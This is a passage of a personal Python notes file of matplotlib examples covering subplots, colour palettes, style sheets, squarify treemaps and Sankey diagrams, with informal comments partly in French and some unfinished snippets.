range(1,101), 'y': np.random.randn(100)*15+range(1,101) })\r\nmy_dpi=96\r\nfig1 = plt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nax1 = fig1.add_subplot(111, aspect='equal')\r\nax1.plot( 'x', 'y', data=df, linestyle='none', marker='o')\r\nax1.add_patch(\r\n    patches.Ellipse(\r\n        (40, 35),   # (x,y)\r\n        30,         # width\r\n        100,        # height\r\n        45,         # radius\r\n        alpha=0.3, facecolor=\"green\", edgecolor=\"black\", linewidth=1,  linestyle='solid'\r\n    )\r\n)\r\nplt.savefig('PNG/#193_annotate7.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #194 SUBPLOTS\r\n\r\n# In matplotlib, subplots are made with the subplot function.\r\n# It works very well to put different graphics together.\r\n\r\n# However, I recommand to use seaborn for faceting and small multiple!\r\n\r\n\r\n# Basic example: 2 columns\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nplt.subplot(121)\r\nplt.plot( 'x', 'y', data=df, marker='o', alpha=0.4)\r\nplt.title(\"A subplot with 2 lines\")\r\nplt.subplot(122)\r\nplt.plot( 'x','z', data=df, linestyle='none', marker='o', color=\"orange\", alpha=0.3)\r\nplt.savefig('PNG/#194_matplotlib_subplot1.png', dpi=96)\r\nplt.show()\r\n\r\n\r\n# Basic example: 2 rows\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nplt.subplot(211)\r\nplt.plot( 'x', 'y', data=df, marker='o', alpha=0.4)\r\nplt.title(\"A subplot with 2 lines\")\r\nplt.subplot(212)\r\nplt.plot( 'x','z', data=df, linestyle='none', marker='o', color=\"orange\", alpha=0.3)\r\nplt.savefig('PNG/#194_matplotlib_subplot2.png', dpi=96)\r\nplt.show()\r\n\r\n# Basic example: share axis?\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*10 })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nfig, axes = plt.subplots(nrows=2, ncols=1, sharex=True, sharey=True)\r\naxes[0].plot( 'x', 'y', data=df, marker='o', alpha=0.4)\r\naxes[1].plot( 'x','z', data=df, linestyle='none', marker='o', color=\"orange\", alpha=0.3)\r\naxes[0].title.set_text('These 2 plots have the same limit for the Y axis')\r\nplt.savefig('PNG/#194_matplotlib_subplot3.png', dpi=96)\r\nplt.show()\r\n\r\n# Basic example: 2 rows and 2 columns\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\nplt.subplot(221)\r\nplt.plot( 'x', 'y', data=df, marker='o', alpha=0.4)\r\nplt.subplot(222)\r\nplt.plot( 'x','z', data=df, linestyle='none', marker='o', color=\"orange\", alpha=0.3)\r\nplt.subplot(223)\r\nplt.plot( 'x','z', data=df, linestyle='none', marker='D', color=\"green\", alpha=0.3)\r\nplt.subplot(224)\r\nplt.plot( 'x','z', data=df, marker='o', color=\"grey\", alpha=0.3)\r\nplt.savefig('PNG/#194_matplotlib_subplot4.png', dpi=96)\r\nplt.show()\r\n\r\n\r\n# Add a title for the whole figure\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# initialize a figure\r\nfig=plt.figure()\r\n\r\n# Do a 2x2 chart\r\nplt.subplot(221)\r\nplt.plot( 'x', 'y', data=df, marker='o', alpha=0.4)\r\nplt.title('title of fig A', fontsize=10, color='grey', loc='left', style='italic')\r\nplt.tick_params(labelbottom='off', bottom='off')\r\nplt.subplot(222)\r\nplt.plot( 'x','z', data=df, linestyle='none', marker='o', color=\"orange\", alpha=0.3)\r\nplt.title('title of fig B', fontsize=10, color='grey', loc='left', style='italic')\r\nplt.tick_params(labelbottom='off', bottom='off')\r\nplt.subplot(223)\r\nplt.plot( 'x','z', data=df, linestyle='none', marker='D', color=\"green\", alpha=0.3)\r\nplt.title('title of fig C', fontsize=10, color='grey', loc='left', style='italic')\r\nplt.subplot(224)\r\nplt.plot( 'x','z', data=df, marker='o', color=\"grey\", alpha=0.3)\r\nplt.title('title of fig D', fontsize=10, color='grey', loc='left', style='italic')\r\n\r\n# Add a title:\r\nplt.suptitle('A title common to my 4 plots', y=1.02)\r\nplt.savefig('PNG/#194_matplotlib_subplot5.png', dpi=96, bbox_inches='tight')\r\nplt.show()\r\n\r\n\r\n\r\n# Basic example: custom proportions\r\n\r\n# Basic example: re-divise\r\n# We need to use the subplot2grid function\r\n# see more here:https://matplotlib.org/users/gridspec.html\r\n\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\nax1 = plt.subplot2grid((2, 2), (0, 0), colspan=2)\r\nax1.plot( 'x', 'y', data=df, marker='o', alpha=0.4)\r\nax2 = plt.subplot2grid((2, 2), (1, 0), colspan=1)\r\nax2.plot( 'x','z', data=df, marker='o', color=\"grey\", alpha=0.3)\r\nax3 = plt.subplot2grid((2, 2), (1, 1), colspan=1)\r\nax3.plot( 'x','z', data=df, marker='o', color=\"orange\", alpha=0.3)\r\nplt.savefig('PNG/#194_matplotlib_subplot6.png', dpi=96)\r\n\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\nax1 = plt.subplot2grid((2, 4), (0, 0), colspan=4)\r\nax1.plot( 'x', 'y', data=df, marker='o', alpha=0.4)\r\nax2 = plt.subplot2grid((2, 4), (1, 0), colspan=3)\r\nax2.plot( 'x','z', data=df, marker='o', color=\"grey\", alpha=0.3)\r\nax3 = plt.subplot2grid((2, 4), (1, 3), colspan=1)\r\nax3.plot( 'x','z', data=df, marker='o', color=\"orange\", alpha=0.3)\r\nplt.savefig('PNG/#194_matplotlib_subplot7.png', dpi=96)\r\n\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\nax1 = plt.subplot2grid((2, 2), (0, 0), colspan=1)\r\nax1.plot( 'x', 'y', data=df, marker='o', alpha=0.4)\r\nax2 = plt.subplot2grid((2, 2), (1, 0), colspan=1)\r\nax2.plot( 'x','z', data=df, marker='o', color=\"grey\", alpha=0.3)\r\nax3 = plt.subplot2grid((2, 2), (0, 1), rowspan=2)\r\nax3.plot( 'x','z', data=df, marker='o', color=\"orange\", alpha=0.3)\r\nplt.savefig('PNG/#194_matplotlib_subplot8.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #195 THE USE OF FIG, AX = PLT.SUBPLOTS()\r\n\r\nOften we see example like that:\r\n\r\n# library\r\nimport matplotlib.pyplot as plt\r\n# plot\r\nf, ax = plt.subplots()\r\nax.plot([1,4,2,5])\r\nf.show()\r\n\r\nSo it's common to use the subplot function, even to do just one plot!\r\nIt is a convenient and pythonic way to get reference two both figure (f) and axis (ax) in a oneliner. \r\nYou unpack this tuple into the variables f and ax\r\n\r\nIf you start doing like that, you can then make a change to \r\n\r\n*** to change axis level features:\r\nax.set_title('Simple plot')\r\n\r\n*** to change figure-level attributes : e.g. with \r\nfig.savefig('yourfilename.png')\r\n\r\npyplot has a notion of 'current figure' and 'current axes' that all the functions delegate to\r\n\r\nobject oriented API (ax..) (\r\n\tVS \r\npyplot is the 'scripting' level API in matplotlib. Figure and the Axes are created but we don't see it!\r\n\r\neach function available in pyplot has an equivalent for ax. plt.xlim <-> ax.set_xlim()\r\n\r\nAXES=la zone de plot, elle continent un Xaxis et un Y axis!\r\n\r\n# ======== WITH AX\r\n# library\r\nimport matplotlib.pyplot as plt\r\n# plot\r\nf, ax = plt.subplots()\r\nax.plot([1,4,2,5])\r\nax.set_title('Simple plot')\r\nf.show()\r\n\r\n\r\n# ======== WITH PLT\r\n# library\r\nimport matplotlib.pyplot as plt\r\n# plot\r\nplt.plot([1,4,2,5])\r\nplt.title('Simple plot')\r\nplt.show()\r\n\r\n\r\n#creating the arrays for testing\r\nx = np.arange(1, 100)\r\ny = np.sqrt(x)\r\n#1st way\r\nplt.plot(x, y)\r\n#2nd way\r\nax = plt.subplot()\r\nax.plot(x, y)\r\n#3rd way\r\nfigure = plt.figure()\r\nnew_plot = figure.add_subplot(111)\r\nnew_plot.plot(x, y)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #196 CALL ONE COLOR\r\n\r\n\r\n# library & dataset\r\nfrom matplotlib import pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\ndf=pd.DataFrame({'x': range(1,101), 'y': np.random.randn(100)*15+range(1,101), 'z': (np.random.randn(100)*15+range(1,101))*2 })\r\n\r\n\r\n# 1.1 color by name\r\nplt.plot( 'x', 'y', data=df, marker='o', color='mediumvioletred')\r\nplt.savefig('PNG/#196_matplotlib_call_one_colour1.png', dpi=96)\r\n# MAtplotlib donne toutes les couleurs existantes ici: https://matplotlib.org/examples/color/named_colors.html\r\n# J'ai r\u00e9cup\u00e9r\u00e9 le PNG: #100_Python_color_name.png\r\n\r\n\r\n# 1.2 color by abbreviation\r\nplt.gca()\r\nplt.plot( 'x', 'y', data=df, marker='o', color='c')\r\nplt.savefig('PNG/#196_matplotlib_call_one_colour2.png', dpi=96)\r\n\r\nplt.show()\r\nb: blue\r\ng: green\r\nr: red\r\nc: cyan\r\nm: magenta\r\ny: yellow\r\nk: black\r\nw: white\r\n\r\n# 1.3 color by hex code\r\nplt.gca()\r\nplt.plot( 'x', 'y', data=df, marker='o', color='#8f9805')\r\nplt.savefig('PNG/#196_matplotlib_call_one_colour3.png', dpi=96)\r\nplt.show()\r\n# See http://htmlcolorcodes.com/\r\n\r\n# 1.4 color calling RBG\r\nplt.gca()\r\nplt.plot( 'x', 'y', data=df, marker='o', color=(0.9, 0.2, 0.5, 0.2))\r\nplt.savefig('PNG/#196_matplotlib_call_one_colour4.png', dpi=96)\r\nplt.show()\r\n# See http://htmlcolorcodes.com/ as well\r\n\r\n\r\n# 1.5 color using a number = string representation of a float value: --> Black and white\r\nplt.gca()\r\nplt.plot( 'x', 'y', data=df, marker='o', color='0.9')\r\nplt.savefig('PNG/#196_matplotlib_call_one_colour5.png', dpi=96)\r\nplt.show()\r\n# 0 is black, 1 is white\r\n\r\n# 1.6 transparency\r\nplt.gca()\r\nplt.plot( 'x', 'y', data=df, marker='o', color='blue', alpha=0.3)\r\nplt.savefig('PNG/#196_matplotlib_call_one_colour6.png', dpi=96)\r\nplt.show()\r\n# 0 is black, 1 is white\r\n\r\n# 1.6 named colors from the xkcd color survey\r\n# liste here: https://xkcd.com/color/rgb/\r\n#cal them like that:\r\n#plt.plot([0, 1], [0, 1], sns.xkcd_rgb[\"pale red\"], lw=3)\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #197 CALL SEVERAL COLOR: PALETTE\r\n\r\n# There are 3 types of palettes.\r\n# You can call existing palette, or make your own one.\r\n# Most famous existing ones: Rcolorbrewer / viridis / hand palette\r\n    \r\n# library & dataset\r\nfrom matplotlib import pyplot as plt\r\nimport numpy as np\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.rand(15)\r\ny = x+np.random.rand(15)\r\nz = x+np.random.rand(15)\r\nz=z*z\r\n\r\n\r\n\r\n# 2.1 Sequential\r\n\r\n#see names here: www.r-graph-gallery.com/38-rcolorbrewers-palettes/\r\n# mettre une liste des noms\r\n# mettre une image avec que les diverging.\r\nplt.scatter(x, y, s=z*2000, c=x, cmap=\"BuPu\", alpha=0.4, edgecolors=\"grey\", linewidth=2)\r\nplt.savefig('PNG/#197_matplotlib_color_palette1.png', dpi=96)\r\n\r\n# You can reverse it:\r\n#plt.scatter(x, y, s=z*2000, c=x, cmap=\"BuPu_r\", alpha=0.4, edgecolors=\"grey\", linewidth=2)\r\n#plt.savefig('PNG/#197_matplotlib_color_palette2.png', dpi=96)\r\n\r\n#*** OTHER: viridis / inferno / plasma / magma\r\nplt.scatter(x, y, s=z*2000, c=x, cmap=\"plasma\", alpha=0.4, edgecolors=\"grey\", linewidth=2)\r\nplt.savefig('PNG/#197_matplotlib_color_palette3.png', dpi=96)\r\n\r\n\r\n\r\n# 2.2 Diverging\r\n\r\n# library & dataset\r\nfrom matplotlib import pyplot as plt\r\nimport numpy as np\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# create data\r\nx = np.random.rand(80) - 0.5\r\ny = x+np.random.rand(80)\r\nz = x+np.random.rand(80)\r\n\r\n#see names here: www.r-graph-gallery.com/38-rcolorbrewers-palettes/\r\n# mettre une liste des noms\r\n# mettre une image avec que les diverging.\r\n#plt.scatter(x, y, s=z*2000, c=x, cmap=\"PuOr\", alpha=0.4, edgecolors=\"grey\", linewidth=2)\r\n#plt.savefig('PNG/#197_matplotlib_color_palette4.png', dpi=96)\r\n\r\nplt.scatter(x, y, s=z*2000, c=x, cmap=\"PuOr_r\", alpha=0.4, edgecolors=\"grey\", linewidth=2)\r\nplt.savefig('PNG/#197_matplotlib_color_palette5.png', dpi=96)\r\n\r\n\r\n\r\n\r\n# 2.4 Discrete / Qualitative\r\n\r\n# library & dataset\r\nfrom matplotlib import pyplot as plt\r\nimport numpy as np\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Data\r\nimport seaborn as sns\r\ndf = sns.load_dataset('iris')\r\n\r\n# We use the specie column to choose the color. We need to make a numerical vector from it:\r\ndf['species']=pd.Categorical(df['species'])\r\ndf['species'].cat.codes\r\n\r\n# Scatter\r\nplt.scatter(df['sepal_length'], df['sepal_width'], s=62, c=df['species'].cat.codes, cmap=\"Set1\", alpha=0.9, linewidth=0)\r\nplt.savefig('PNG/#197_matplotlib_color_palette5.png', dpi=96)\r\n\r\n\r\n# 2.5 Build your own color palette\r\n\r\n# 2.6 make color palette longuer\r\n\r\n# 2.7 Control diverging point in diverging color palette.\r\n\r\n# 2.8 Legend\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #198 Background colors\r\n\r\n# Change the background color of the plot area:\r\nplt.rcParams['figure.facecolor'] = 'black'\r\nplt.rcParams['axes.facecolor'] = 'black'\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #199 Matplotlib style sheets\r\n\r\n\r\n# libraries and data\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n# Make a data frame\r\ndf=pd.DataFrame({'x': range(1,11), 'y1': np.random.randn(10), 'y2': np.random.randn(10)+range(1,11), 'y3': np.random.randn(10)+range(11,21), 'y4': np.random.randn(10)+range(6,16), 'y5': np.random.randn(10)+range(4,14), 'y6': np.random.randn(10)+range(2,12), 'y7': np.random.randn(10)+range(5,15), 'y8': np.random.randn(10)+range(4,14) })\r\n\r\n# All the possibility of style:\r\npossibilities = [u'seaborn-darkgrid', u'seaborn-notebook', u'classic', u'seaborn-ticks', u'grayscale', u'bmh', u'seaborn-talk', u'dark_background', u'ggplot', u'fivethirtyeight', u'_classic_test', u'seaborn-colorblind', u'seaborn-deep', u'seaborn-whitegrid', u'seaborn-bright', u'seaborn-poster', u'seaborn-muted', u'seaborn-paper', u'seaborn-white', u'seaborn-pastel', u'seaborn-dark', u'seaborn', u'seaborn-dark-palette']\r\n\r\n# Initialise figure\r\nmy_dpi=96\r\nplt.figure(figsize=(1000/my_dpi, 1000/my_dpi), dpi=my_dpi)\r\n\r\n\r\n# Let's do a chart per possibility:\r\nfor n, v in enumerate(possibilities):\r\n    print n, v\r\n    \r\n    # I set the new style\r\n    plt.style.use(v)\r\n\r\n    # Start new place in the figure\r\n    plt.subplot(5 ,5, n + 1)\r\n    \r\n    # multiple line plot\r\n    for column in df.drop('x', axis=1):  \r\n        plt.plot(df['x'], df[column], marker='', color='grey', linewidth=1, alpha=0.4)\r\n    \r\n    # And highlith one\r\n    plt.plot(df['x'], df['y5'], marker='', color='orange', linewidth=4)\r\n    \r\n    # Add a title to say which style it is\r\n    plt.title(v, fontsize=10, fontweight=0, color='grey', loc='left')\r\n    \r\n    # remove labels\r\n    plt.tick_params(labelbottom='off')\r\n    plt.tick_params(labelleft='off')\r\n\r\n    \r\nplt.savefig('PNG/#199_Matplotlib_style_sheet.png', dpi=96, bbox_inches='tight')\r\n  \r\n    \r\n\r\n            \r\n            \r\n            \r\n            \r\n            \r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #200 -> #210  TREEMAP\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\nhttps://gist.github.com/gVallverdu/0b446d0061a785c808dbe79262a37eea\r\n\r\nPas grand chose a faire.... pas de package dispo valable a priori..\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #200  Basic treemap with one level\r\nimport matplotlib.pyplot as plt\r\nimport squarify    # pip install squarify (algorithm for treemap)\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# If you have 2 lists\r\nsquarify.plot(sizes=[13,22,35,5], label=[\"group A\", \"group B\", \"group C\", \"group D\"], alpha=.7 )\r\nplt.axis('off')\r\nplt.show()\r\n\r\n# If you have a data frame?\r\nimport pandas as pd\r\ndf = pd.DataFrame({'nb_people':[8,3,4,2], 'group':[\"group A\", \"group B\", \"group C\", \"group D\"] })\r\nsquarify.plot(sizes=df['nb_people'], label=df['group'], alpha=.8 )\r\nplt.axis('off')\r\nplt.savefig('PNG/#200_Basic_Treemap_with_squarify.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #201 Custom your treemap\r\n\r\n#libraries\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport squarify    # pip install squarify (algorithm for treemap)\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Change color\r\nsquarify.plot(sizes=[13,22,35,5], label=[\"group A\", \"group B\", \"group C\", \"group D\"], color=[\"red\",\"green\",\"blue\", \"grey\"], alpha=.4 )\r\nplt.axis('off')\r\nplt.savefig('PNG/#201_Custom_Treemap1.png')\r\nplt.show()\r\n\r\n\r\n# Custom label appearance \r\npadded_squarify.plot(sizes=[13,22,35,5], label=[\"group A\", \"group B\", \"group C\", \"group D\"], color=[\"red\",\"green\",\"blue\", \"grey\"], alpha=.4 )\r\nplt.axis('off')\r\nplt.show()\r\n\r\n# Custom separation between groups\r\n\r\n# Color depends of value\r\n\r\n# Position of each individual:\r\n# Squares are positionned in the same order as in the list.\r\n# It can be usefull to shuffle this order for a better result\r\n\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #202 Map color to size\r\n\r\n#libraries\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport squarify    # pip install squarify (algorithm for treemap)\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# Create a dataset:\r\nmy_values=[i**3 for i in range(1,100)]\r\n\r\n# create a color palette, mapped to these values\r\ncmap = matplotlib.cm.Blues\r\nmini=min(my_values)\r\nmaxi=max(my_values)\r\nnorm = matplotlib.colors.Normalize(vmin=mini, vmax=maxi)\r\ncolors = [cmap(norm(value)) for value in my_values]\r\n\r\n# Change color\r\nsquarify.plot(sizes=my_values, alpha=.8, color=colors )\r\nplt.axis('off')\r\nplt.savefig('PNG/#202_Treemap_map_color_to_size.png')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #203 Treemap with group and subgroups\r\n# TO FINISH\r\n\r\n\r\n#libraries\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport squarify    # pip install squarify (algorithm for treemap)\r\n\r\n# Build Dataset\r\nimport pandas as pd\r\ndf = pd.DataFrame({\r\n\t'group':[\"group A\", \"group A\", \"group A\", \"group A\", \"group B\", \"group B\", \"group C\",  \"group C\",  \"group C\"],\r\n\t'subgroup':[1,2,3,4,1,2,1,2,3], \r\n\t'value':[13,5,22,12,11,7,3,1,23]\r\n\t})\r\n\r\n# Prepare color:\r\nmycolors=list()\r\nall_pal=[matplotlib.cm.Blues, matplotlib.cm.Greens, matplotlib.cm.Oranges]\r\nnum=-1\r\nfor i in df.group.unique():\r\n\tnum+=1\r\n\tcmap = all_pal[num]\r\n\ttmp=df[df.group==i]\r\n\tmini=min(tmp.value)\r\n\tmaxi=max(tmp.value)\r\n\tnorm = matplotlib.colors.Normalize(vmin=mini-12, vmax=maxi+12)\r\n\tcolors = [cmap(norm(value)) for value in tmp.value]\r\n\tmycolors=mycolors+colors\r\n\t\r\n# Prepare labels:\r\ndf[\"lab\"]=df.group + \" - \" + df.subgroup.map(str)\r\n\r\n# Plot\r\nsquarify.plot(sizes=df['value'], alpha=.8, color=mycolors, labels=df['lab'].map(str) )\r\nplt.axis('off')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #220 -> #230  SANKEY DIAGRAM\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n  -----------------------------------------\r\n\r\n\r\n# Repo\r\nimport os\r\nos.chdir(\"/Users/y.holtz/Dropbox/Python_GG\")\r\ncwd = os.getcwd()\r\ncwd\r\n\r\n\r\n\r\n# \u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\u2014\r\n#  #220 Sankey with Matplotlib\r\n\r\n# Example from the doc:\r\n# https://matplotlib.org/api/sankey_api.html\r\n\r\n# Libraries\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.sankey import Sankey\r\n\r\nmy_dpi=96\r\nplt.figure(figsize=(480/my_dpi, 480/my_dpi), dpi=my_dpi)\r\n\r\n# basic sankey chart\r\nSankey(flows=[0.25, 0.15, 0.60, -0.20, -0.15, -0.05, -0.50, -0.10],\r\n       labels=['', '', '', 'First', 'Second', 'Third', 'Fourth', 'Fifth'],\r\n       orientations=[-1, 1, 0, 1, 1, 1, 0, -1]).finish()\r\nplt.title(\"Sankey diagram with default settings\")\r\n\r\nplt.savefig('PNG/#220_Sankey_Matplotlib.png', dpi=96)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nmatplotlib.sankey\u00b6 = Pourrave, natif de matplotlib\r\nplotly a une bonne version\r\n\r\nipysankey widget = best way = a wrapper of d3-sankey-diagram\r\nDocumentation=https://github.com/ricklupton/ipysankeywidget\r\nAuthor=Rick Lupton\r\nInstallation: pip install ipysankeywidget\r\n\r\nimport ipywidgets as widgets\r\nfrom ipysankeywidget import SankeyWidget\r\nlinks = [\r\n    {'source': 'start', 'target': 'A', 'value': 2},\r\n    {'source': 'A', 'target': 'B', 'value': 2},\r\n    {'source': 'C', 'target': 'A', 'value': 2},\r\n    {'source': 'A', 'target': 'C', 'value': 2},\r\n]\r\nw = SankeyWidget(links=links, margins=dict(top=0, bottom=0, left=50, right=100))\r\nw\r\n\r\n\r\n--> Marche pas car Javascript non reconnu.. relou\r\n\r\n\r\n\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\nfrom ipysankeywidget import SankeyWidget\r\nfrom ipywidgets import Layout\r\n\r\nlayout = Layout(width=\"300\", height=\"200\")\r\ndef sankey(**value):\r\n    \"\"\"Show SankeyWidget with default values for size and margins\"\"\"\r\n    return SankeyWidget(layout=layout,\r\n                        margins=dict(top=10, bottom=0, left=30, right=60),\r\n                        **value)\r\n\r\nlinks = [\r\n    {'source': 'A', 'target': 'B', 'value': 1},\r\n    {'source': 'B', 'target': 'C', 'value': 1},\r\n    {'source': 'A', 'target': 'D', 'value': 1},\r\n]\r\nsankey(links=links)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  -----------------------------------------\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |\t\t\t\t\t\t\t\t\t\t\t|\r\n |  SERIE #230 -> #240  CHORD DIAGRAM\r\n 